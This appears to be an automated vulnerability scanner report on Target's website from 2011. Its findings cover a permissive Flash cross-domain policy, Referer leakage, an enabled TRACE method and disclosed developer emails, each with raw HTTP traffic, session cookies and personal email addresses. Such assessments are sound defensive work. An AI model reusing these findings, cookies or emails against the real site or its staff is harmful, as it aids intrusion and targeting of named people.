<li><a title="Photo" href="http://sites.target.com/site/en/spot/page.jsp?title=photo_center&ref=nav_footer_photo&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Photo</a>
...[SNIP]...
<li><a title="Portrait Studio" href="http://sites.target.com/site/en/spot/page.jsp?title=portrait_studio&ref=nav_footer_portrait&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Portrait Studio</a>
...[SNIP]...
<li><a title="Optical" href="http://target.com/target_group/stores%5Fservices/optical.jhtml?ref=nav_footer_optical&token=D62F194C2502656F9210694289070A08EB44BFD0">Optical</a>
...[SNIP]...
<li><a title="Pharmacy" href="http://sites.target.com/site/en/health/page.jsp?ref=nav_footer_pharmacy&contentId=PRD03-004033&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Pharmacy</a>
...[SNIP]...
<li><a title="Mobile" href="http://sites.target.com/site/en/spot/page.jsp?title=mobile_landing&ref=nav_footer_mobile&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Mobile</a>
...[SNIP]...
<li><a title="About Target" href="http://sites.target.com/site/en/company/page.jsp?ref=nav_footer_about&contentId=WCMP04-032391&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">About Target</a>
...[SNIP]...
<li><a title="Careers" href="http://sites.target.com/site/en/company/page.jsp?ref=nav_footer_careers&contentId=WCMP04-030796&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Careers</a>
...[SNIP]...
<li><a title="Community" href="http://sites.target.com/site/en/company/page.jsp?ref=nav_footer_community&contentId=WCMP04-031700&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Community</a>
...[SNIP]...
<li><a title="Pressroom" href="http://pressroom.target.com/pr/news/news.aspx?ref=nav_footer_news&token=EF44EA2ED3C0F97CE9AD4B23979C08B540C5061C">Pressroom</a>
...[SNIP]...
<li><a title="Investors" href="http://investors.target.com/phoenix.zhtml?p=irol-irhome&ref=nav_footer_investors&c=65828&token=37F4B25D99F5B2724230FE603FF785C4A1CBCA27" rel="nofollow">Investors</a>
...[SNIP]...
<li><a title="Diversity" href="http://sites.target.com/site/en/company/page.jsp?ref=nav_footer_diversity&contentId=WCMP04-031762&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Diversity</a>
...[SNIP]...
<li><a title="Take Charge of Education" href="http://sites.target.com/site/en/corporate/page.jsp?ref=nav_footer_TCOE&contentId=PRD03-001825&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Take Charge of Education</a>
...[SNIP]...
<li><a title="Team Member Services" href="http://sites.target.com/site/en/spot/page.jsp?title=team_services&ref=nav_footer_teammember&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Team Member Services</a>
...[SNIP]...
<li><a title="Opens in a new window" href="http://secure.nfb.org/nfbnva/public/verify.aspx?NVACert=140&companyName=Target&token=FC345A3C795B0D27CA446D457B9F0080A2E8065F" rel="nofollow" target="_blank">NFB-NVA Gold Certified</a>
...[SNIP]...
<br/>
<a href="http://www.target.com/gp/redirect.html?_encoding=UTF8&amp;location=http://sites.target.com/site/en/spot/page.jsp?title=privacy_policy&amp;token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Privacy and Security">Privacy + Security</a>
...[SNIP]...
</a> | <a href="http://www.target.com/gp/redirect.html?_encoding=UTF8&amp;location=http://sites.target.com/site/en/spot/page.jsp?title=terms_conditions&amp;token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Terms and Conditions">Terms + Conditions</a>
...[SNIP]...
<br/>
<a href="http://www.target.com/gp/redirect.html?_encoding=UTF8&amp;location=http://sites.target.com/site/en/spot/page.jsp?title=privacy_policy_ca&amp;token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="California Privacy Rights">California Privacy Rights</a>
...[SNIP]...
3. Flash cross-domain policy  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://sites.target.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: sites.target.com

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:48:30 GMT
Server: IBM_HTTP_Server
Last-Modified: Wed, 24 Jun 2009 17:31:49 GMT
ETag: "b37b-11a1-7b6b0b40"
Accept-Ranges: bytes
Content-Length: 4513
Connection: close
Content-Type: text/xml

<cross-domain-policy>
<allow-access-from domain="*.popularfront.com"/>

<allow-access-from domain="*.target.com"/>
<allow-access-from domain="*.target.com" secure="false"/>

...[SNIP]...
<allow-access-from domain="target.com"/>
<allow-access-from domain="up2d8.juxtinteractive.com"/>
<allow-access-from domain="g-images.amazon.com"/>
<allow-access-from domain="ec1.images-amazon.com"/>
<allow-access-from domain="images.amazon.com"/>
<allow-access-from domain="g-ec2.images-amazon.com"/>
<allow-access-from domain="webcreative.target.com"/>
<allow-access-from domain="sellercentral.amazon.com"/>
<allow-access-from domain="*.akamai.com"/>
<allow-access-from domain="transformers.target.com.edgesuite.net" secure="false"/>
...[SNIP]...
<allow-access-from domain="transformers.target.com"/>
<allow-access-from domain="rainier.target.com"/>
<allow-access-from domain="vs.target.com"/>
<allow-access-from domain="flash.vitalstream.com"/>
<allow-access-from domain="targetflash.sitestream.com"/>
<allow-access-from domain="www.desertphonebooth.com"/>
<allow-access-from domain="149.39.1.28"/>
<allow-access-from domain="dev.atmosphere.net"/>
<allow-access-from domain="208.122.18.58"/>
<allow-access-from domain="desertphonebooth.com"/>
<allow-access-from domain="target.sf.akqa.com"/>
<allow-access-from domain="targetdev.sf.akqa.com"/>
<allow-access-from domain="*.grouper.com"/>
<allow-access-from domain="grouper.com"/>
<allow-access-from domain="media.pointroll.com"/>
<allow-access-from domain="www.pointroll.com"/>
<allow-access-from domain="submit.pointroll.com"/>
<allow-access-from domain="data.pointroll.com"/>
<allow-access-from domain="speed.pointroll.com"/>
<allow-access-from domain="mirror.pointroll.com"/>
<allow-access-from domain="mx.pointroll.com"/>
<allow-access-from domain="geo.pointroll.com"/>
<allow-access-from domain="demo.pointroll.net"/>
<allow-access-from domain="clk.pointroll.com"/>
<allow-access-from domain="www.oco.com"/>
<allow-access-from domain="www.ocointeractive.com"/>
<allow-access-from domain="*.atmospherebbdo.com" />
<allow-access-from domain="extranet.atmospherebbdo.com" />
<allow-access-from domain="*.atmospherebbdo.com" secure="false" />
...[SNIP]...
<allow-access-from domain="extranet.atmospherebbdo.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.haminthefridge.net" secure="false" />
...[SNIP]...
<allow-access-from domain="*.haminthefridge.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.adamknutson.com" secure="false" />
...[SNIP]...
<allow-access-from domain="tgtfiles.target.com.edgesuite.net" secure="false" />
...[SNIP]...
<allow-access-from domain="*.images-amazon.com"/>
<allow-access-from domain="*.dannypatterson.com"/>
<allow-access-from domain="*.facebook.com"/>
<allow-access-from domain="*.schematic.com"/>
<allow-access-from domain="*.targetfacebook.com"/>
<allow-access-from domain="www.targetweeklyadapps.com"/>
<allow-access-from domain="8.17.173.144"/>

   <allow-access-from domain="*.experiencepop.com"/>
...[SNIP]...
<allow-access-from domain="images-na.ssl-images-amazon.com" secure="true" />
...[SNIP]...
<allow-access-from domain="g-ecx.images-amazon.com" secure="false" />
...[SNIP]...
4. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

4.1. http://sites.target.com/site/en/spot/page.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://sites.target.com
Path:   /site/en/spot/page.jsp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

POST /site/en/spot/page.jsp?title=store_locator_new HTTP/1.1
Host: sites.target.com
Proxy-Connection: keep-alive
Referer: http://sites.target.com/site/en/spot/page.jsp?title=store_locator
Content-Length: 0
Cache-Control: max-age=0
Origin: http://sites.target.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=9C2B51AA83FFEFBB; session-id-time=1314428400l; session-id=181-4362708-8879269; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313884055506_259812%22%2C%22pv%22%3A2%2C%22to%22%3A3.6%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fstories.htm%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313884062779%7D; __utma=117781004.936656148.1313884225.1313884225.1313884225.1; __utmb=117781004.3.10.1313884225; __utmc=117781004; __utmz=117781004.1313884225.1.1.utmcsr=news.target.com|utmccn=(referral)|utmcmd=referral|utmcct=/phoenix.zhtml; JSESSIONID=0000X5k5zYwhoQ0t0xL5TPVTGy-:13rvrsmun

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:50:55 GMT
Server: IBM_HTTP_Server
X-ATG-Version: UNKNOWN [ DPSLicense/0 ]
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 53545


<html>
<head>
<META http-equiv="Content-Type" content
...[SNIP]...
<body>


<IFRAME SRC="//fls.doubleclick.net/activityi;src=951243;type=store916;cat=store506;ord=1;num=467309.0?" WIDTH=1 HEIGHT=1 FRAMEBORDER=0 TITLE="Empty" id="Marketing"></IFRAME>
...[SNIP]...
<div id="gn"> <img src="http://g-ecx.images-amazon.com/images/G/16/nav/aug09_gn/bullseye._V218318638_.png" width="75" alt="Target Bullseye" id="social_bullseye" height="75" border="0" />
<div id="gn_bullseye">
...[SNIP]...
<div style="margin:0 auto; padding:0; height:6px; width:960px;"><img src="http://g-ecx.images-amazon.com/images/G/16/nav/spacer._V192184801_.gif" height="6" width="1" border="0" alt=""></div>
...[SNIP]...
"input_txt" id="emailId" value="E-mail Address"
onfocus="if (this.value=='E-mail Address'){ this.value='' }" onblur="if (this.value==''){ this.value='E-mail Address' }" />
<img src="http://g-ecx.images-amazon.com/images/G/16/nav/spacer._V42753720_.gif" height="1" width="1" alt=""></div>
...[SNIP]...
</map >
<img src="http://g-ecx.images-amazon.com/images/G/16/nav/jun09_global_nav/footer_redcard_save_5._V185475032_.gif" width="139" alt="Target debit and credit cards. Learn more. 5% off today and everyday." usemap="#redcardmap" title="RED Cards. Save 5 Percent Upon Credit Approval" height="84" border="0" /><!--SV 10172010-->
...[SNIP]...
<li><a title="Opens in a new window" href="http://secure.nfb.org/nfbnva/public/verify.aspx?NVACert=140&companyName=Target&token=FC345A3C795B0D27CA446D457B9F0080A2E8065F" rel="nofollow" target="_blank">NFB-NVA Gold Certified</a>
...[SNIP]...
<a href="http://www.target.com/registry/baby/portal?ref=nav_targetbabylogo"><img src="http://g-ecx.images-amazon.com/images/G/16/nav/jun09_global_nav/gn_nav2_TB_top._V224846356_.gif" height="51" width="198" alt="Target Baby Registry" border="0"></a>
...[SNIP]...
<a href="http://www.target.com/registry/wedding/portal?ref=nav_clubweddlogo"><img src="http://g-ecx.images-amazon.com/images/G/16/nav/jun09_global_nav/gn_nav2_CW_top._V224846367_.gif" height="51" width="198" alt="Target Club Wedd Registry" border="0"></a>
...[SNIP]...
<button class="listSearchButton" type="submit" name="Submit" value="Search" title="Search Club Wedd" > <img alt="search" src="http://g-ecx.images-amazon.com/images/G/16/nav/jun09_global_nav/gn_nav2_cw_search._V224846364_.gif"> </button>
...[SNIP]...
<a href="http://www.target.com/lists/portal?ref=nav_targetlistlogo"><img src="http://g-ecx.images-amazon.com/images/G/16/nav/jun09_global_nav/targetList_top._V224701882_.gif" height="51" width="198" alt="Target Lists" border="0"></a>
...[SNIP]...
4.2. http://sites.target.com/site/en/spot/search_results.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://sites.target.com
Path:   /site/en/spot/search_results.jsp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /site/en/spot/search_results.jsp?&mapType=standard&startAddress=10010&startingLat=40.73941121025517&startingLong=-73.98414463671456&_requestid=1835350 HTTP/1.1
Host: sites.target.com
Proxy-Connection: keep-alive
Referer: http://sites.target.com/site/en/spot/page.jsp?title=store_locator_new
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TargetStoreLocator=mapType%3Aenhanced%3BendAtStore%3A%3Bmode%3ASS; v1st=9C2B51AA83FFEFBB; session-id-time=1314428400l; session-id=181-4362708-8879269; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313884055506_259812%22%2C%22pv%22%3A2%2C%22to%22%3A3.6%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fstories.htm%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313884062779%7D; __utma=117781004.936656148.1313884225.1313884225.1313884225.1; __utmb=117781004.3.10.1313884225; __utmc=117781004; __utmz=117781004.1313884225.1.1.utmcsr=news.target.com|utmccn=(referral)|utmcmd=referral|utmcct=/phoenix.zhtml; JSESSIONID=0000X5k5zYwhoQ0t0xL5TPVTGy-:13rvrsmun; ubid-acbta=179-5582498-2646469; ForeseeLoyalty_MID_YsVE8kdEt0=2

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:51:45 GMT
Server: IBM_HTTP_Server
X-ATG-Version: UNKNOWN [ DPSLicense/0 ]
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 103509

   
                                                                                                       <!-- commenting since port number is not required
   
        prodMode = mode; %>
   
   
                                                                                                                           
...[SNIP]...
<body>
   
   
   <IFRAME SRC="http://fls.doubleclick.net/activityi;src=951243;type=store256;cat=store185;u9=null;u10=;u11=10010;ord=1;num=91559.0?" WIDTH=1 HEIGHT=1 FRAMEBORDER=0></IFRAME>
...[SNIP]...
<div id="gn"> <img src="http://g-ecx.images-amazon.com/images/G/16/nav/aug09_gn/bullseye._V218318638_.png" width="75" alt="Target Bullseye" id="social_bullseye" height="75" border="0" />
<div id="gn_bullseye">
...[SNIP]...
<div id="sl_sr_map" style="width:525px; height:430px;">
                           
                           <img src="http://baymwsrender09.bay.prod.mappoint.net/render-30/getmap.aspx?key=22B4FB1BD817C6CBF466" width="525" height="430" border="0" usemap="#mapHotspots" alt="">
                           
                       </div>
...[SNIP]...
<div style="margin:0 auto; padding:0; height:6px; width:960px;"><img src="http://g-ecx.images-amazon.com/images/G/16/nav/spacer._V192184801_.gif" height="6" width="1" border="0" alt=""></div>
...[SNIP]...
"input_txt" id="emailId" value="E-mail Address"
onfocus="if (this.value=='E-mail Address'){ this.value='' }" onblur="if (this.value==''){ this.value='E-mail Address' }" />
<img src="http://g-ecx.images-amazon.com/images/G/16/nav/spacer._V42753720_.gif" height="1" width="1" alt=""></div>
...[SNIP]...
</map >
<img src="http://g-ecx.images-amazon.com/images/G/16/nav/jun09_global_nav/footer_redcard_save_5._V185475032_.gif" width="139" alt="Target debit and credit cards. Learn more. 5% off today and everyday." usemap="#redcardmap" title="RED Cards. Save 5 Percent Upon Credit Approval" height="84" border="0" /><!--SV 10172010-->
...[SNIP]...
<li><a title="Opens in a new window" href="http://secure.nfb.org/nfbnva/public/verify.aspx?NVACert=140&companyName=Target&token=FC345A3C795B0D27CA446D457B9F0080A2E8065F" rel="nofollow" target="_blank">NFB-NVA Gold Certified</a>
...[SNIP]...
<a href="http://www.target.com/registry/baby/portal?ref=nav_targetbabylogo"><img src="http://g-ecx.images-amazon.com/images/G/16/nav/jun09_global_nav/gn_nav2_TB_top._V224846356_.gif" height="51" width="198" alt="Target Baby Registry" border="0"></a>
...[SNIP]...
<a href="http://www.target.com/registry/wedding/portal?ref=nav_clubweddlogo"><img src="http://g-ecx.images-amazon.com/images/G/16/nav/jun09_global_nav/gn_nav2_CW_top._V224846367_.gif" height="51" width="198" alt="Target Club Wedd Registry" border="0"></a>
...[SNIP]...
<button class="listSearchButton" type="submit" name="Submit" value="Search" title="Search Club Wedd" > <img alt="search" src="http://g-ecx.images-amazon.com/images/G/16/nav/jun09_global_nav/gn_nav2_cw_search._V224846364_.gif"> </button>
...[SNIP]...
<a href="http://www.target.com/lists/portal?ref=nav_targetlistlogo"><img src="http://g-ecx.images-amazon.com/images/G/16/nav/jun09_global_nav/targetList_top._V224701882_.gif" height="51" width="198" alt="Target Lists" border="0"></a>
...[SNIP]...
5. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://sites.target.com
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: sites.target.com
Cookie: 17ee11a0bc2d7783

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:48:30 GMT
Server: IBM_HTTP_Server
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: sites.target.com
Cookie: 17ee11a0bc2d7783; v1st=9C2B51AA83FFEFBB; session-id-time=1314428400l; fsr.a=1313884063801; session-id=181-4362708-8879269; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313884055506_259812%22%2C%22pv%22%3A2%2C%22to%22%3A3.6%
...[SNIP]...
6. Email addresses disclosed  previous  next
There are 2 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

6.1. http://sites.target.com/css/sl_reset.css  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://sites.target.com
Path:   /css/sl_reset.css

Issue detail

The following email address was disclosed in the response:

Request

GET /css/sl_reset.css HTTP/1.1
Host: sites.target.com
Proxy-Connection: keep-alive
Referer: http://sites.target.com/site/en/spot/page.jsp?title=store_locator_new
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=9C2B51AA83FFEFBB; session-id-time=1314428400l; session-id=181-4362708-8879269; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313884055506_259812%22%2C%22pv%22%3A2%2C%22to%22%3A3.6%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fstories.htm%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313884062779%7D; __utma=117781004.936656148.1313884225.1313884225.1313884225.1; __utmb=117781004.3.10.1313884225; __utmc=117781004; __utmz=117781004.1313884225.1.1.utmcsr=news.target.com|utmccn=(referral)|utmcmd=referral|utmcct=/phoenix.zhtml; JSESSIONID=0000X5k5zYwhoQ0t0xL5TPVTGy-:13rvrsmun

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:50:13 GMT
Server: IBM_HTTP_Server
Last-Modified: Tue, 02 Jun 2009 15:13:47 GMT
ETag: "10bde-27d-fd4380c0"
Accept-Ranges: bytes
Content-Length: 637
Content-Type: text/css

/*
Copyright (c) 2006, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.net/yui/license.txt
version: 0.11.3
*/
/*
Appended for Target Store Locator Use 10.20.2006 by Leif Nelson
leif.nelson@target.com
*/
body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,p,blockquote,th,td{margin:0;padding:0;}
table{border-collapse:collapse;border-spacing:0;}
fieldset,img{border:0;}
address,captio
...[SNIP]...
6.2. http://sites.target.com/js/store_locator.1.0.js  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://sites.target.com
Path:   /js/store_locator.1.0.js

Issue detail

The following email address was disclosed in the response:

Request

GET /js/store_locator.1.0.js HTTP/1.1
Host: sites.target.com
Proxy-Connection: keep-alive
Referer: http://sites.target.com/site/en/spot/page.jsp?title=store_locator_new
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=9C2B51AA83FFEFBB; session-id-time=1314428400l; session-id=181-4362708-8879269; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313884055506_259812%22%2C%22pv%22%3A2%2C%22to%22%3A3.6%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fstories.htm%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313884062779%7D; __utma=117781004.936656148.1313884225.1313884225.1313884225.1; __utmb=117781004.3.10.1313884225; __utmc=117781004; __utmz=117781004.1313884225.1.1.utmcsr=news.target.com|utmccn=(referral)|utmcmd=referral|utmcct=/phoenix.zhtml; JSESSIONID=0000X5k5zYwhoQ0t0xL5TPVTGy-:13rvrsmun

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:50:11 GMT
Server: IBM_HTTP_Server
Last-Modified: Tue, 02 Jun 2009 15:13:37 GMT
ETag: "2539b-13610-fcaaea40"
Accept-Ranges: bytes
Content-Length: 79376
Content-Type: application/x-javascript

// CAUTION - DO NO USE "long" as a variable or parameter name, it will break some browsers

/*
target store locator ajax application
*/


/**
* Class to create string buffers
**/

function StringBuff
...[SNIP]...
on append(string) {
this.buffer.push(string);
return this;
};

StringBuffer.prototype.toString = function toString() {
return this.buffer.join("");
};

/**
* DOM utilities
* @author Jason.Thorpe@target.com
* @class
*/
DOMUtils = function(){
}

DOMUtils.getElement = function( obj ){
if(document.getElementById){
   obj = document.getElementById( obj );
}else if(document.all){
   obj = document.all.item(
...[SNIP]...
hild(txtNode);
   return e;
};

DOMUtils.createElement = function(elementName ){
   var e = document.createElement(elementName);
   return e;
};

/**
* DHTML Layer utilities: showing, hiding, etc.
* @author Jason.Thorpe@target.com
* @class
*/
function LayerUtils(){
}

/**
* Static method for showing on layer in a group of layers, will hide previously showing layer in that group.
* @author Jason.Thorpe@target.com
*/
LayerUtils.showOneInGroup = function( group, newLayer ){
   LayerUtils.hideGroup(group);
   LayerUtils.show(newLayer);
   window.showOneInGroup[ group ] = newLayer;
}


LayerUtils.hideGroup = function( g
...[SNIP]...
nGroup ){
       window.showOneInGroup = new Object();
   }
   if( window.showOneInGroup[ group ] ){
       LayerUtils.hide( window.showOneInGroup[ group ] );
   }
}

/**
* Static method for showing a layer
* @author Jason.Thorpe@target.com
*/
LayerUtils.show = function( x ){
   var el = DOMUtils.getElement( x );
   if( el && el.style && el.style.visibility != "visible"){
       el.style.visibility = "visible";
   }
   if( el && el.style && el.style.
...[SNIP]...
n = function( x ){
   var el = DOMUtils.getElement( x );
   if( el && el.style && el.style.position != "relative"){
       el.style.position = "relative";
   }
}

/**
* Static method for hiding a layer
* @author Jason.Thorpe@target.com
*/
LayerUtils.isVisible = function( x ){
   var el = DOMUtils.getElement( x );
   if( el && el.style && el.style.display == "none"){
       return false;
   } else {
       return true;
   }
}

LayerUtils.hidePosition = function( x ){
   var el = DOMUtils.getElement( x );
   if( el && el.style && el.style.position != "absolute"){
       el.style.position = "absolute";
   }
}

/**
* Static method for hiding a layer
* @author Jason.Thorpe@target.com
*/
LayerUtils.hide = function( x ){
   var el = DOMUtils.getElement( x );
   if( el && el.style && el.style.display != "none"){
       el.style.visibility="hidden";
       el.style.display = "none";
       //Log.success("hide " + x + "success.");
   }
}

/**
* Static method for hiding a layer
* @author Jason.Thorpe@target.com
*/
LayerUtils.setPosition = function( div, x, y ){
   var el = DOMUtils.getElement( x );
   if( el && el.style ){
       el.style.top = y;
       el.style.left = x;
       //Log.success("setPosition " + div + "," + x +
...[SNIP]...
< size; i++ ){
       LayerUtils.show( map.pushpins[i].ID );
   }
}


/**
* Class to create XMLHttpRequest objects
* @author Jason.Thorpe@target.com
* @class
*/
function XMLHttpRequestFactory(){
}

/**
* Class method for XMLHttpRequest - create a new XMLHttpRequest object, or returns null
<pre>
...[SNIP]...
</pre>
* @author Jason.Thorpe@target.com
*/
function XMLHttpRequestFactory_newInstance(){
   if( window.XMLHttpRequest ){
       return new XMLHttpRequest();
   }
   else if( window.ActiveXObject ){
       // for old versions of IE, disable this block, as t
...[SNIP]...
n null;
           @end
       @*/
   }
   return null;
}
XMLHttpRequestFactory.newInstance = XMLHttpRequestFactory_newInstance;

/**
* Class to put a nice interface on making async calls with XMLHttpRequest
* @author Jason.Thorpe@target.com
* @class
*/
function Async(){
   this.x = XMLHttpRequestFactory.newInstance();
   this.canceled = false;
   this.started = false;
   this.inProgress = false;
   this.isDone = false;
}

/**
* Instance method for Async - make a web call
* @author Jason.Thorpe@target.com
*/
Async.prototype.call = function (url, method, content){


   var refToMe = this;
   if( !method ) method = "GET";
   if( !content ) content = null;
   this.x.open(method,url,true);
   this.x.onreadystatecha
...[SNIP]...
ce method for Async - called when XMLHttpRequest object is loading (readyState 1)
* You may assign your own function to this (myAsync.loading = func) in order to do something at this point.
* @author Jason.Thorpe@target.com
*/
Async.prototype.loading = function(){};

/**
* Instance method for Async - called when XMLHttpRequest object is loaded (readyState 2)
* You may assign your own function to this (myAsync.loaded = func) in order to do something at this point.
* @author Jason.Thorpe@target.com
*/
Async.prototype.loaded = function(){};

/**
* Instance method for Async - called when XMLHttpRequest object is "interactive" (readyState 3)
* You may assign your own function to this (myAsync.interactive = func) in order to do something at this point.
* @author Jason.Thorpe@target.com
*/
Async.prototype.interactive = function(){};

/**
* Instance method for Async - called when XMLHttpRequest object is done loading (readyState 4)
* You may assign your own function to this (myAsync.done = func) in order to do something at this point.
* @author Jason.Thorpe@target.com
*/
